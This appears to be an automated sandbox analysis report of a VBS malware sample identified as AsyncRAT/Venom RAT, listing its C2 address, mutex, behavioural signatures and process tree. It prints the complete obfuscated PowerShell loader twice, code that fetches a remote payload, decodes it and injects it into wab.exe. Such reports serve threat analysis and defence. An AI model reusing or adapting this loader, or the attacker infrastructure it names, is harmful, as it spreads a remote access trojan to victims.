Analysis
- max time kernel
151s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 09:03
General
- Target 13032024_1703_windows.vbs
- Size 7KB
- Sample240313-kz9fsabc45
- SHA256 cb6e258f5167046b4e6e7e47a9037e7c31b2232a0f896f403e0805a718b5588d
Score
10/10
Malware Config
Extracted
Family
-
asyncrat
Version
-
5.0.5
Botnet
-
Venom Clients
C2
-
154.30.255.175:8890
Mutex
-
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\13032024_1703_windows.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Formynderisk;++$Formynderisk;$Formynderisk=$Formynderisk-1;Function Lommetyv ($Hurtighederne){$Belavende=5;$Belavende++;For($Fiskerihavne=5; $Fiskerihavne -lt $Hurtighederne.Length-1; $Fiskerihavne+=$Belavende){$Powellite = 'substring';$Indrapporteredes=$Hurtighederne.$Powellite.Invoke($Fiskerihavne, 1);$Bbc=$Bbc+$Indrapporteredes}$Bbc;}$tsarer=Lommetyv 'Lig.ihBlinktInsectSialip,nprosFormi:F,aga/K euz/ UnankOverriSkovls A.alakrustn Wrecb itlleu,cont ildhProtoa Lu skhones.Uncleca,skeoLine mBache/OustsPTaki./PhytoGBidr,eSnerptUnclehFlagdsPrefoe IganmCa.pha Ne.tnPneume Foto.UdganaD,sjucTho.gaDatad ';$plankevrks=$tsarer.split([char]62);$tsarer=$plankevrks[0];$Formulizer=Lommetyv 'Kirk.iDesaaeWurlyxUnder ';$Milter = Lommetyv ' Jrga\pag nsSdfimyD amtsReso wSpro.o.utvawNitro6Brugt4Bore,\ StreWExistiPoly nHre,dd Oms.oLovbewsystest.talP TrefoEbberwNega eConverWorriSurea,hBrygge UdsvlIceholfejlf\VarslvStorm1Trans.raast0Posth\Gad.ipMycosoBombawPrin ePupilrIn ersPoikih StereOxytelLogisl Pea,.MeninePerorxKnotteEscro ';&($Formulizer) (Lommetyv ' S at$RelabT TjeneDo,belHaze lBelbstD gperOverhu,eauit SprohDobbe=Cubby$TrawleHype n Ind vsanda:GteviwApplai BoulnKappedJagraiFl,rirP.att ') ;&($Formulizer) (Lommetyv 'Exulc$ LaxnMSkoleiPote llingettav heOutburAn gn=Kvidr$,emtoTK.njaeFrenalInterlHconvtOysterO.ersuIndo.tMicrohRoo t+.lash$CoxpoM,tirri No slOver,t lieneSkibsr Spel ') ;&($Formulizer) (Lommetyv 'Beski$AutotA.rinccEsonee Ti.slSurpalPerniuSu.phlKontraVulkarLns.m dete=Atlan ,ril(Isa a(Kvr,eg cquw MispmAfhvliOpfin .orviwFatalitroopnTrich3,jlpe2Osteo_IsoimpP eclrEpideoSymbocStereeMame.sMolecs,ader Dusin-DaughFPeri Val.rP CalirMotiooMussacDigiteLandbsNglevsCa.teI Mo,edGo.te=Demon$Overl{GammeP FremI .ydpDUnbri}For e)Venti.BulksCPunkto.aadfmQuartmSignaaR tannLjerldB steLSkyldi LethnThalaeNazif)Rooke unme-GlasfsP rmapTr.pslFldnii OvertSy,so U,end[Naboec Bomuh.horaaB,uerr,auch]Af.et3U.spr4Marmo ');&($Formulizer) (Lommetyv 'Noneq$W.nniTH.teli DrawdsplitsCavalfT,irlsRo.eft PolleStege Yirki=Diago Fitt $RovfoAKlasscEttideFlorilStatslTid.iucareflChefkabrakkrCl.me[ Wax.$GenerA SeracS reueHderllPath.lHagfiuCheeslRegisa SknsrUpend. rmbrcI dehoKalkeu .illn StjetAkade-Dolma2O.spo]Ha.fi ');&($Formulizer) (Lommetyv ' Sikk$Re,roUVur,edHvassmTr,laaInghar.ipstvPac,sePostinKanted.orbueStrmms usen=Diale(L,stnT uriteDada.sEastwtGhaze-OplriP igemaHym.ntNon rhEvalu Isdkk$LngdeM ParriKompalForfrt N nce SacrrFa.gs)Subpa Jag.-BrushAHovedn mnesd Post Ou.p( Oxyr[fllesI Ad,enHidk.tKulfeP For tNonlorClich]Racia:Disco:Hjor,subrdei VanczTrkkreInter B,rde-.dskieUngamq Non. Rejse8ekser)Allob ') ;if ($Udmarvendes) {.$Milter $Tidsfste;} else {;$Billedhuggerkunst=Lommetyv 'won eS Sasht Throa,alumrSummetTersu-M,lieB stouiPashatsty.ts Od,eTRestrrKonstaNummen H,les .uftfFarvae Fremr C.mp Tilsi-SantaS Ses,oSmertu Flyvr.aeftcEuf.meSolje mandi$Tubert Ov,ts TendaOuts.rOpsame DebrrStole Tr mp-BiskoDFibroeGemytsHestetPitmiiMerkonProfeacommatFejlsi erboo SlidnFore, Kikes$hvileT orryeE,tralKoebmlNontytU,derrHn,esuUphhotCrimph Str. ';&($Formulizer) (Lommetyv 'Bys e$ Tek TTrodseUnderlLurchl churtDithyrforstuFrisetSeasthTropp=Dren $Hornbe StrrnfinlnvFluth: RetraForvrpMedgip Fst dDinofa Supet.jemma Ti,g ') ;&($Formulizer) (Lommetyv 'AngloI ,altm opopGobeloPh.ltrOmd.rtRekon-CapitM nctoCa erdUncluuTrffelCurd eRhodo KommuBInsuciAflowtSunbasChondTSamm.rench aF.ernnRook sParakfS,abeePor,erJil.i ') ;$Telltruth=$Telltruth+'\Oryctognostic.Evi';while (-not $Prefiguring) {&($Formulizer) (Lommetyv 'Kursu$TandtPF rler recoeMicrofN,peki KlodgSk.ptu Uro rBirgiiLa,ernPaledgImmat= ,aas(SleepTnot teKar,isGlacetTriad-HierkPSeceraB dratTornyhSimoo Roqu$ Flo,TFormueEstudl Aspelpres.tkartor lea uC.kadt PolehH.ved)Deton ') ;&($Formulizer) $Billedhuggerkunst;&($Formulizer) (Lommetyv ' mbreSFremstGodtoa EjesrJdindtTaran-Su,fuS acqulSaboteMahayeNonseppicu, Expl5V,rde ');$tsarer=$plankevrks[$lugtes++%$plankevrks.count];}&($Formulizer) (Lommetyv 'Trema$AffalEandelrEnlisySkjoltFjanthChabrrPelaroT chnl Gooke PerciInte n Ufor Skral=Bankb Lrer.GPungeeBronztusknh-paladC,orfioUnsa.n.prigt H.rpeTil.en MilltSyndi Expan$S,nerTSkraaeF xatlFrottl ippt Ove,rCon,tuEftertBlkkehB.ovg ');&($Formulizer) (Lommetyv 'Indus$CayapSGarnet piraibildkl BalllVindmr KarsoPoly oHeathmPayol Hukom=Heath Gymno[ Lo iS vartyPyrrosT,iflt UdkieLaceim.ncur.OrthoCFoll.o mpanK,lkbvS,tedeov rsr AzodtInt,r]Unwor:Premp:Sc.brFKooperBilleo P semHavanBClinaa undesAndrie Skov6T,tra4KnarsSOffentRuminrOve.si hittnAnkepgGrund( Inga$UnpatEUneasrOverwylrenet BilfhC scerGalvaoPaketl Pdage Brudicoro.nTvr.j)Laarm ');&($Formulizer) (Lommetyv 'Klunt$ PassTPeri vKurdiaPas.anByd.eg georsFilmssAbe ii omptUn,eduNatu.aBetaltJazzliAtriooplud nTelen Studi=Aneta Ekvi[TvivlSKomplyAfkols Insut UrlieResedm Surd.Bu.lcTCoscoe Smitx Ko,ktBalne.Di frE D,man Ha scBlo,so ingudSekstiVamosnSel ngW dge]Trans: bund:KarakAUddanS AlatCForsvI CounIInvoy. W rtGBevogeBarbitpu.feSFri,ntA.tiprKvieniE aljn IntegS,lvi( Draw$Pict.SetbrytU,soriSputulSh.kel.iretr Basuo .espoEnergmdpian)Liqu ');&($Formulizer) (Lommetyv 'Bullb$strejADrejefTele,tLabiaeBushwn woosaLyknsvTid siSim,usInfiseSho lrUld r=Av er$MawkiTC,alkv Pyg,a EjbynKlassg Ren.sVrimlsFarvei J.cotS.rafuDampiabryg.tHusk iLakrioNormanYe,hc.Riddes Gabeu.estebFoldssPotmatOrdi.r S.rpiSvrdfnTe begR ptu(Radix3Keato3 ,ugl0forve2Commu8Capot5Resfl,Anden2Ed.le4Overb9Lysp,8Ufine3Monog) Cofi ');&($Formulizer) $Aftenaviser;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Formynderisk;++$Formynderisk;$Formynderisk=$Formynderisk-1;Function Lommetyv ($Hurtighederne){$Belavende=5;$Belavende++;For($Fiskerihavne=5; $Fiskerihavne -lt $Hurtighederne.Length-1; $Fiskerihavne+=$Belavende){$Powellite = 'substring';$Indrapporteredes=$Hurtighederne.$Powellite.Invoke($Fiskerihavne, 1);$Bbc=$Bbc+$Indrapporteredes}$Bbc;}$tsarer=Lommetyv 'Lig.ihBlinktInsectSialip,nprosFormi:F,aga/K euz/ UnankOverriSkovls A.alakrustn Wrecb itlleu,cont ildhProtoa Lu skhones.Uncleca,skeoLine mBache/OustsPTaki./PhytoGBidr,eSnerptUnclehFlagdsPrefoe IganmCa.pha Ne.tnPneume Foto.UdganaD,sjucTho.gaDatad ';$plankevrks=$tsarer.split([char]62);$tsarer=$plankevrks[0];$Formulizer=Lommetyv 'Kirk.iDesaaeWurlyxUnder ';$Milter = Lommetyv ' Jrga\pag nsSdfimyD amtsReso wSpro.o.utvawNitro6Brugt4Bore,\ StreWExistiPoly nHre,dd Oms.oLovbewsystest.talP TrefoEbberwNega eConverWorriSurea,hBrygge UdsvlIceholfejlf\VarslvStorm1Trans.raast0Posth\Gad.ipMycosoBombawPrin ePupilrIn ersPoikih StereOxytelLogisl Pea,.MeninePerorxKnotteEscro ';&($Formulizer) (Lommetyv ' S at$RelabT TjeneDo,belHaze lBelbstD gperOverhu,eauit SprohDobbe=Cubby$TrawleHype n Ind vsanda:GteviwApplai BoulnKappedJagraiFl,rirP.att ') ;&($Formulizer) (Lommetyv 'Exulc$ LaxnMSkoleiPote llingettav heOutburAn gn=Kvidr$,emtoTK.njaeFrenalInterlHconvtOysterO.ersuIndo.tMicrohRoo t+.lash$CoxpoM,tirri No slOver,t lieneSkibsr Spel ') ;&($Formulizer) (Lommetyv 'Beski$AutotA.rinccEsonee Ti.slSurpalPerniuSu.phlKontraVulkarLns.m dete=Atlan ,ril(Isa a(Kvr,eg cquw MispmAfhvliOpfin .orviwFatalitroopnTrich3,jlpe2Osteo_IsoimpP eclrEpideoSymbocStereeMame.sMolecs,ader Dusin-DaughFPeri Val.rP CalirMotiooMussacDigiteLandbsNglevsCa.teI Mo,edGo.te=Demon$Overl{GammeP FremI .ydpDUnbri}For e)Venti.BulksCPunkto.aadfmQuartmSignaaR tannLjerldB steLSkyldi LethnThalaeNazif)Rooke unme-GlasfsP rmapTr.pslFldnii OvertSy,so U,end[Naboec Bomuh.horaaB,uerr,auch]Af.et3U.spr4Marmo ');&($Formulizer) (Lommetyv 'Noneq$W.nniTH.teli DrawdsplitsCavalfT,irlsRo.eft PolleStege Yirki=Diago Fitt $RovfoAKlasscEttideFlorilStatslTid.iucareflChefkabrakkrCl.me[ Wax.$GenerA SeracS reueHderllPath.lHagfiuCheeslRegisa SknsrUpend. rmbrcI dehoKalkeu .illn StjetAkade-Dolma2O.spo]Ha.fi ');&($Formulizer) (Lommetyv ' Sikk$Re,roUVur,edHvassmTr,laaInghar.ipstvPac,sePostinKanted.orbueStrmms usen=Diale(L,stnT uriteDada.sEastwtGhaze-OplriP igemaHym.ntNon rhEvalu Isdkk$LngdeM ParriKompalForfrt N nce SacrrFa.gs)Subpa Jag.-BrushAHovedn mnesd Post Ou.p( Oxyr[fllesI Ad,enHidk.tKulfeP For tNonlorClich]Racia:Disco:Hjor,subrdei VanczTrkkreInter B,rde-.dskieUngamq Non. Rejse8ekser)Allob ') ;if ($Udmarvendes) {.$Milter $Tidsfste;} else {;$Billedhuggerkunst=Lommetyv 'won eS Sasht Throa,alumrSummetTersu-M,lieB stouiPashatsty.ts Od,eTRestrrKonstaNummen H,les .uftfFarvae Fremr C.mp Tilsi-SantaS Ses,oSmertu Flyvr.aeftcEuf.meSolje mandi$Tubert Ov,ts TendaOuts.rOpsame DebrrStole Tr mp-BiskoDFibroeGemytsHestetPitmiiMerkonProfeacommatFejlsi erboo SlidnFore, Kikes$hvileT orryeE,tralKoebmlNontytU,derrHn,esuUphhotCrimph Str. ';&($Formulizer) (Lommetyv 'Bys e$ Tek TTrodseUnderlLurchl churtDithyrforstuFrisetSeasthTropp=Dren $Hornbe StrrnfinlnvFluth: RetraForvrpMedgip Fst dDinofa Supet.jemma Ti,g ') ;&($Formulizer) (Lommetyv 'AngloI ,altm opopGobeloPh.ltrOmd.rtRekon-CapitM nctoCa erdUncluuTrffelCurd eRhodo KommuBInsuciAflowtSunbasChondTSamm.rench aF.ernnRook sParakfS,abeePor,erJil.i ') ;$Telltruth=$Telltruth+'\Oryctognostic.Evi';while (-not $Prefiguring) {&($Formulizer) (Lommetyv 'Kursu$TandtPF rler recoeMicrofN,peki KlodgSk.ptu Uro rBirgiiLa,ernPaledgImmat= ,aas(SleepTnot teKar,isGlacetTriad-HierkPSeceraB dratTornyhSimoo Roqu$ Flo,TFormueEstudl Aspelpres.tkartor lea uC.kadt PolehH.ved)Deton ') ;&($Formulizer) $Billedhuggerkunst;&($Formulizer) (Lommetyv ' mbreSFremstGodtoa EjesrJdindtTaran-Su,fuS acqulSaboteMahayeNonseppicu, Expl5V,rde ');$tsarer=$plankevrks[$lugtes++%$plankevrks.count];}&($Formulizer) (Lommetyv 'Trema$AffalEandelrEnlisySkjoltFjanthChabrrPelaroT chnl Gooke PerciInte n Ufor Skral=Bankb Lrer.GPungeeBronztusknh-paladC,orfioUnsa.n.prigt H.rpeTil.en MilltSyndi Expan$S,nerTSkraaeF xatlFrottl ippt Ove,rCon,tuEftertBlkkehB.ovg ');&($Formulizer) (Lommetyv 'Indus$CayapSGarnet piraibildkl BalllVindmr KarsoPoly oHeathmPayol Hukom=Heath Gymno[ Lo iS vartyPyrrosT,iflt UdkieLaceim.ncur.OrthoCFoll.o mpanK,lkbvS,tedeov rsr AzodtInt,r]Unwor:Premp:Sc.brFKooperBilleo P semHavanBClinaa undesAndrie Skov6T,tra4KnarsSOffentRuminrOve.si hittnAnkepgGrund( Inga$UnpatEUneasrOverwylrenet BilfhC scerGalvaoPaketl Pdage Brudicoro.nTvr.j)Laarm ');&($Formulizer) (Lommetyv 'Klunt$ PassTPeri vKurdiaPas.anByd.eg georsFilmssAbe ii omptUn,eduNatu.aBetaltJazzliAtriooplud nTelen Studi=Aneta Ekvi[TvivlSKomplyAfkols Insut UrlieResedm Surd.Bu.lcTCoscoe Smitx Ko,ktBalne.Di frE D,man Ha scBlo,so ingudSekstiVamosnSel ngW dge]Trans: bund:KarakAUddanS AlatCForsvI CounIInvoy. W rtGBevogeBarbitpu.feSFri,ntA.tiprKvieniE aljn IntegS,lvi( Draw$Pict.SetbrytU,soriSputulSh.kel.iretr Basuo .espoEnergmdpian)Liqu ');&($Formulizer) (Lommetyv 'Bullb$strejADrejefTele,tLabiaeBushwn woosaLyknsvTid siSim,usInfiseSho lrUld r=Av er$MawkiTC,alkv Pyg,a EjbynKlassg Ren.sVrimlsFarvei J.cotS.rafuDampiabryg.tHusk iLakrioNormanYe,hc.Riddes Gabeu.estebFoldssPotmatOrdi.r S.rpiSvrdfnTe begR ptu(Radix3Keato3 ,ugl0forve2Commu8Capot5Resfl,Anden2Ed.le4Overb9Lysp,8Ufine3Monog) Cofi ');&($Formulizer) $Aftenaviser;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4036 --field-trial-handle=3088,i,14310325015283915034,7660943942870463106,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bj4lt5hk.iiq.ps1
memory/440-0-0x0000017E29C40000-0x0000017E29C62000-memory.dmp
memory/440-10-0x00007FFFD5250000-0x00007FFFD5D11000-memory.dmp
memory/440-11-0x0000017E29CB0000-0x0000017E29CC0000-memory.dmp
memory/440-12-0x0000017E29CB0000-0x0000017E29CC0000-memory.dmp
memory/440-35-0x0000017E29CB0000-0x0000017E29CC0000-memory.dmp
memory/440-33-0x00007FFFD5250000-0x00007FFFD5D11000-memory.dmp
memory/440-66-0x00007FFFD5250000-0x00007FFFD5D11000-memory.dmp
memory/3052-67-0x00000000237E0000-0x00000000237F0000-memory.dmp
memory/3052-68-0x00000000775D1000-0x00000000775D2000-memory.dmp
memory/3052-50-0x00000000775F8000-0x00000000775F9000-memory.dmp
memory/3052-69-0x0000000023B30000-0x0000000023BCC000-memory.dmp
memory/3052-71-0x0000000077571000-0x0000000077691000-memory.dmp
memory/3052-63-0x0000000074B50000-0x0000000075300000-memory.dmp
memory/3052-61-0x0000000000F40000-0x0000000000F56000-memory.dmp
memory/3052-60-0x0000000077571000-0x0000000077691000-memory.dmp
memory/3052-73-0x0000000074B50000-0x0000000075300000-memory.dmp
memory/3052-59-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/3052-74-0x00000000237E0000-0x00000000237F0000-memory.dmp
memory/3052-52-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/3052-51-0x0000000077571000-0x0000000077691000-memory.dmp
memory/4620-19-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/4620-36-0x00000000079B0000-0x000000000802A000-memory.dmp
memory/4620-40-0x0000000008030000-0x00000000085D4000-memory.dmp
memory/4620-41-0x0000000007660000-0x0000000007682000-memory.dmp
memory/4620-42-0x00000000076F0000-0x0000000007704000-memory.dmp
memory/4620-43-0x0000000074B50000-0x0000000075300000-memory.dmp
memory/4620-45-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/4620-47-0x0000000007770000-0x0000000007771000-memory.dmp
memory/4620-46-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/4620-48-0x00000000085E0000-0x000000000BC90000-memory.dmp
memory/4620-49-0x0000000077571000-0x0000000077691000-memory.dmp
memory/4620-38-0x0000000007330000-0x00000000073C6000-memory.dmp
memory/4620-37-0x00000000065C0000-0x00000000065DA000-memory.dmp
memory/4620-39-0x0000000007090000-0x00000000070B2000-memory.dmp
memory/4620-34-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/4620-32-0x00000000060E0000-0x000000000612C000-memory.dmp
memory/4620-31-0x0000000006000000-0x000000000601E000-memory.dmp
memory/4620-62-0x0000000074B50000-0x0000000075300000-memory.dmp
memory/4620-30-0x0000000005BA0000-0x0000000005EF4000-memory.dmp
memory/4620-20-0x0000000005A30000-0x0000000005A96000-memory.dmp
memory/4620-18-0x0000000005040000-0x0000000005062000-memory.dmp
memory/4620-17-0x00000000052B0000-0x00000000058D8000-memory.dmp
memory/4620-16-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/4620-15-0x00000000026C0000-0x00000000026F6000-memory.dmp
memory/4620-14-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/4620-13-0x0000000074B50000-0x0000000075300000-memory.dmp